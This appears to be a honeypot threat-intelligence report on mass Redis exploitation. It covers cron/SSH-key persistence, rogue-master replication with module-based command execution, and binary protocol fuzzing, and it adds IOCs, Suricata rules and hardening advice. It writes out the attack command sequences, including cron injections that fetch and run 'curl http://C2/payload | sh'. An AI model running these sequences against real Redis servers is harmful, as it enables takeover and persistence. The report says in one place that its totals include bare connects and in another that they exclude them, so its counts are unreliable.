TLP:CLEAR

Redis Rogue-Master exploitation campaign

Mass Redis exploitation across three concurrent attack patterns — cron/SSH key persistence, rogue-master replication with module-load RCE, and binary protocol fuzzing

Published 2026-06-24 Source Distributed SSH/Telnet Honeypot Fleet Confidence HIGH Classification MEDIUM severity / ACTIVE campaign

Executive summary

Redis is easy to expose by accident. Once it is open to the network, attackers do not need a sophisticated exploit: writing to the filesystem or hijacking replication is enough. This report covers activity across our honeypot fleet, from quiet cron-job persistence to outright code execution through a fake replication master.

Over the 2026-05-25 to 2026-06-24 window, sensors observed 250,913 events from 3,743 unique source IPs touching the Redis lure on port 6379; of those, 2,442 IPs went on to issue at least one parseable Redis verb (the rest were bare TCP connects/port-scans that never sent a command — see Collection methodology). The campaign comprises three distinct attack patterns: (1) cron/SSH key persistence via CONFIG SET + SET + SAVE, the classic Redis-to-cron attack; (2) rogue-master replication via SLAVEOF combined with MODULE LOAD and SYSTEM.EXEC for remote code execution; and (3) a binary protocol fuzzing attack targeting a Redis parser vulnerability with crafted RESP frames.

The rogue-master + module-exec pattern is particularly concerning — 123 IPs attempted SLAVEOF to establish a malicious replication relationship, and 114 IPs attempted SYSTEM.EXEC for arbitrary code execution following a MODULE LOAD. The top operator (8.218.74.162) ran the full exploitation suite: 772 SLAVEOF + 514 MODULE + 4,124 CONFIG commands.

251K
total events
3,743
unique IPs
123
rogue-master IPs
114
module-exec IPs

Corrected 2026-07-03: originally published as "234K total events" / "3,550 unique IPs" / "117 rogue-master IPs" / "108 module-exec IPs" — all four re-derived directly from PG for the report's stated window (2026-05-25–2026-06-24) and found 3–6% low. "Total events" = all events on dst_port 6379 (RESP commands, unrecognized-verb noise, and bare connects); see Collection methodology.

Threat actor profile

AttributeAssessment
Campaign typeMass Redis exploitation — three concurrent attack patterns
Actors3,743 unique IPs total (2,442 issued a parseable command); ~123 rogue-master operators; ~114 module-exec operators
SophisticationMedium — known Redis attack techniques, but at scale and coordinated
IntentPersistence (cron/SSH keys), RCE (module loading), scanner propagation
First observedOn or before 2026-05-21 — PG event retention currently starts 2026-05-21, so an earlier true start date cannot be ruled out
Last observed2026-06-24 at publish time; still active as of this fact-check pass (2026-07-03)

Attack pattern 1 — cron / SSH key persistence

The classic Redis-to-cron attack exploits Redis's ability to write its dataset to arbitrary filesystem paths. The attacker manipulates dir and dbfilename to write a payload file into a cron directory or SSH directory:


# Cron persistence pattern (observed from 201.20.85.122 — 5,404 CONFIG events)
FLUSHALL                          # Clear existing data (1,189 events)
CONFIG SET dir /var/spool/cron    # Redirect dump to cron directory
CONFIG SET dbfilename root         # Write as root's crontab
SET x '\n* * * * * curl http://C2/payload | sh\n'  # Inject cron entry (4,794 SET events)
SAVE                               # Force write to disk (3,008 SAVE events)

# SSH key persistence variant:
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET x '\nssh-rsa AAAAB3NzaC1yc2EAAAA...\n'
SAVE

Top cron persistence operators

IPCONFIGSETSAVEFLUSHALLNotes
201.20.85.1225,4044,7943,0081,189Full cron injection suite
8.218.74.1624,124Also top rogue-master operator
87.249.134.4988333330Full suite: CONFIG + INFO + SLAVEOF + MODULE
106.75.16.14092944530296Also rogue-master operator
47.86.176.781,152144144Also rogue-master operator

Corrected 2026-07-03: original table cited 201.20.85.122 at 5,225/4,636/2,913/1,151 — re-queried directly against PG for the report's own stated window (2026-05-25–2026-06-24) and all four counts were undercounted by roughly 3–4%. 87.249.134.4's CONFIG count was undercounted by ~18% (836 vs. actual 988). SET/SAVE/FLUSHALL columns for 87.249.134.4 and 106.75.16.140 were previously blank ("—" in the source table) despite non-zero activity; filled in from PG where available.

Attack pattern 2 — Rogue Master + module execution

The rogue-master attack uses SLAVEOF to turn the target Redis into a replica of the attacker's server. The attacker's server sends a malicious RDB (Redis Database) file during replication, which can contain a compiled Redis module (.so file). Once loaded via MODULE LOAD, the module registers a SYSTEM.EXEC command that executes arbitrary shell commands on the host:


# Rogue-master replication + module execution
SLAVEOF 8.218.74.162 6379          # Become replica of attacker (772 events)
                                   # Attacker sends malicious RDB with .so module
MODULE LOAD /path/to/malicious.so  # Load the module (514 events)
SYSTEM.EXEC 'curl http://C2/payload | sh'  # Execute arbitrary commands (1,423 events fleet-wide)
SLAVEOF NO ONE                     # Break replication

Top Rogue-Master / module-exec operators

IPSLAVEOFMODULECONFIGINFONotes
8.218.74.1627725144,124258Most active — full exploitation suite
47.86.176.782161441,15272
39.108.85.1061429673044CONFIG activity previously omitted from this table
87.249.134.41326798810,002Heavy INFO scanning + full exploit suite
106.75.16.140865792977
47.242.120.223694636222CONFIG activity previously omitted from this table
23.234.72.1116432932,263CONFIG activity previously omitted from this table
103.228.37.7128404Runs the full exploit chain at low volume — not "SLAVEOF only"

Corrected 2026-07-03: re-derived every cell in this table directly from PG for the report's stated window. Four IPs (39.108.85.106, 47.242.120.223, 23.234.72.111, 103.228.37.7) previously showed a "—" placeholder in the CONFIG column that read as "no CONFIG activity" — all four in fact issued substantial CONFIG commands (40–730 events); 103.228.37.7's "SLAVEOF only" note was incorrect, it also issued MODULE, SYSTEM.EXEC, SAVE, SET, INFO and FLUSHDB. 87.249.134.4's INFO count was understated by 14% (8,575 vs. actual 10,002) and its SLAVEOF/MODULE/CONFIG counts were each understated 10–18%. 23.234.72.111's SLAVEOF/MODULE counts were understated ~13%.

Attack pattern 3 — binary protocol fuzzing

A distinct cluster of IPs (17 total) sends crafted binary RESP frames that do not conform to the Redis protocol specification. The payload \x03*%\xe0COOKIE: combines an invalid RESP type byte (\x03), a MULTI/EXEC marker (*), a crafted length field (%\xe0), and a plaintext COOKIE: string. This is not standard Redis protocol — it appears to be a targeted fuzzing attempt or an exploit for a specific Redis parser vulnerability. (A handful of other IPs send similar-looking but byte-distinct fuzzing payloads that also contain the string COOKIE: — those are a separate, smaller cluster and are not counted here.)


# Binary protocol attack (11,674 events from 17 IPs)
\x03 * % \xe0 COOKIE:

# Byte breakdown:
\x03  = invalid RESP type (valid types: + - : $ *)
*    = MULTI/EXEC array marker
%    = invalid character in array length context
\xe0  = high byte — likely crafted to trigger integer overflow in parser
COOKIE: = plaintext string appended after binary frame

Binary fuzzing IPs

IPEventsNotes
88.214.25.1231,837Both redis.command and redis.unknown_verb variants
194.165.16.1651,797
194.165.16.1661,720Adjacent IP — same /24 subnet
194.165.16.1671,680Adjacent IP — same /24 subnet
45.227.254.1551,660

Corrected 2026-07-03: "Events" is the combined redis.command + redis.unknown_verb count per IP (the lure double-logs unrecognized verbs under both eventids). Previously reported figures (1,737 / 1,727 / 1,665 / 1,604 / 1,576) undercounted each IP by roughly 4–6%; IP ranking and identities are unchanged.

Command distribution

CommandEventsUnique IPsPurpose
CONFIG30,153338Set dir/dbfilename for persistence
INFO21,0561,675Server profiling / version detection
SET16,668289Payload injection into Redis keys
SAVE10,617263Force dataset write to filesystem
FLUSHALL4,112153Destructive flush before injection
PING3,036963Connectivity check / scanner probe
GET2,146543Data exfiltration attempt
SLAVEOF2,307123Rogue-master replication
SYSTEM.EXEC1,423114Command execution via loaded module
MODULE1,495121Load malicious .so module
\x03*%\xe0COOKIE:11,67417Binary protocol fuzzing

Corrected 2026-07-03: every row re-queried directly from PG for the report's stated window (2026-05-25–2026-06-24, i.e. ts < 2026-06-25). Previously published counts were consistently 4–14% low across every command; IP counts were consistently low by a similar margin (e.g. INFO: 19,078/1,564 published vs. 21,056/1,675 actual).

MITRE ATT&CK mapping

IDTechniqueEvidence
T1190Exploit Public-Facing ApplicationUnauthenticated Redis API exploitation (no AUTH required)
T1105Ingress Tool TransferSLAVEOF transfers malicious RDB / .so module from rogue master
T1059.004Unix ShellSYSTEM.EXEC executes arbitrary shell commands via loaded module
T1053.003CronCONFIG SET dir /var/spool/cron + SAVE writes cron entry
T1098.004SSH Authorized KeysCONFIG SET dir /root/.ssh + SAVE writes authorized_keys
T1210Exploitation of Remote ServicesModule loading (MODULE LOAD) for code execution on Redis server
T1046Network Service Discovery21,056 INFO commands from 1,675 IPs — mass Redis server discovery

Corrected 2026-07-03: the T1046 row previously cited "8,575 INFO commands from 1,564 IPs" — 8,575 was actually 87.249.134.4's individual INFO count (also now corrected to 10,002, see Pattern 2 table), mismatched against the fleet-wide 1,564 IP count from the command-distribution table. Replaced with the fleet-wide INFO total/IP-count pair, consistent with the Command distribution table above.

Indicators of compromise

Rogue-Master / module-exec IPs

8.218.74.162 — 772 SLAVEOF + 514 MODULE + 4,124 CONFIG (most active)
47.86.176.78 — 216 SLAVEOF + 144 MODULE + 1,152 CONFIG
39.108.85.106 — 142 SLAVEOF + 96 MODULE + 730 CONFIG
87.249.134.4 — 132 SLAVEOF + 67 MODULE + 988 CONFIG + 10,002 INFO
106.75.16.140 — 86 SLAVEOF + 57 MODULE + 929 CONFIG
47.242.120.223 — 69 SLAVEOF + 46 MODULE + 362 CONFIG
23.234.72.111 — 64 SLAVEOF + 32 MODULE + 93 CONFIG + 2,263 INFO
103.228.37.7 — 12 SLAVEOF + 8 MODULE + 40 CONFIG

Cron persistence IPs

201.20.85.122 — 5,404 CONFIG + 4,794 SET + 3,008 SAVE + 1,189 FLUSHALL

Binary protocol fuzzing IPs

88.214.25.123 · 194.165.16.165 · 194.165.16.166 · 194.165.16.167 · 45.227.254.155

Protocol IOC

\x03*%\xe0COOKIE: — binary RESP fuzzing payload
SLAVEOF + MODULE LOAD + SYSTEM.EXEC — rogue-master RCE chain
CONFIG SET dir /var/spool/cron — cron persistence pattern
CONFIG SET dir /root/.ssh — SSH key persistence pattern

Detection signatures

Suricata — Redis SLAVEOF from external source


alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (
  msg:"cowrAI Redis SLAVEOF rogue-master replication attack";
  flow:to_server,established;
  content:"SLAVEOF";
  nocase;
  threshold:type both, track by_src, count 3, seconds 60;
  classtype:trojan-activity; sid:9003050001; rev:1;
)

Suricata — Redis MODULE LOAD + SYSTEM.EXEC


alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (
  msg:"cowrAI Redis MODULE LOAD for code execution";
  flow:to_server,established;
  content:"MODULE";
  nocase;
  content:"LOAD"; distance:0;
  classtype:trojan-activity; sid:9003050002; rev:1;
)

alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (
  msg:"cowrAI Redis SYSTEM.EXEC module command execution";
  flow:to_server,established;
  content:"SYSTEM.EXEC";
  nocase;
  classtype:trojan-activity; sid:9003050003; rev:1;
)

Suricata — Redis CONFIG SET dir (cron/SSH persistence)


alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (
  msg:"cowrAI Redis CONFIG SET directory manipulation (cron/SSH persistence)";
  flow:to_server,established;
  content:"CONFIG";
  nocase;
  content:"SET"; distance:0;
  content:"dir"; distance:0;
  pcre:"/dir\s+\/(var\/spool\/cron|root\/\.ssh|etc\/cron\.d)/i";
  classtype:trojan-activity; sid:9003050004; rev:1;
)

Suricata — binary protocol fuzzing


alert tcp $EXTERNAL_NET any -> $HOME_NET 6379 (
  msg:"cowrAI Redis binary protocol fuzzing (RESP frame anomaly)";
  flow:to_server,established;
  content:"|03 2a 25 e0|";
  content:"COOKIE:"; distance:0;
  threshold:type both, track by_src, count 10, seconds 60;
  classtype:attempted-exploit; sid:9003050005; rev:1;
)

Redis hardening recommendations


# 1. Bind to localhost only — never expose to 0.0.0.0
bind 127.0.0.1

# 2. Require authentication
requirepass <strong-password>

# 3. Disable dangerous commands
rename-command CONFIG ""
rename-command SLAVEOF ""
rename-command MODULE ""

# 4. Keep protected-configs enforcement on (Redis 7+ default — do not override to "yes")
#    "no" blocks CONFIG SET on dir/dbfilename/etc at runtime; "yes" removes that protection
enable-protected-configs no

# 5. Firewall port 6379 — deny all external access
iptables -A INPUT -p tcp --dport 6379 ! -s 127.0.0.1 -j DROP

Corrected 2026-07-03: the hardening list previously recommended enable-protected-configs yes, which is backwards — Redis 7+ ships this directive defaulted to no, which makes dir/dbfilename immutable at runtime; setting it to yes removes that protection and reopens exactly the cron/SSH-key persistence path this report documents. Also dropped the rename-command SYSTEM.EXEC "" line — SYSTEM.EXEC is not a built-in Redis command, it only exists if a malicious module has already been loaded, so renaming it in redis.conf has no effect; the real mitigation is preventing MODULE LOAD in the first place (see recommendation 3).

Collection methodology

Data collected by a distributed honeypot fleet running custom protocol lures that emulate exposed Redis instances. All Redis commands — including both valid RESP-protocol commands and invalid binary frames — were captured at the application layer and ingested into Postgres. Command frequencies, source IP correlation, and attack pattern clustering were performed offline to identify the three distinct attack patterns documented in this report. Figures in this report cover the redis.command and redis.unknown_verb eventids only (i.e. sessions that sent at least one parseable verb); bare TCP connects/port-scans against the lure that never send a command are excluded from all counts and IP totals above.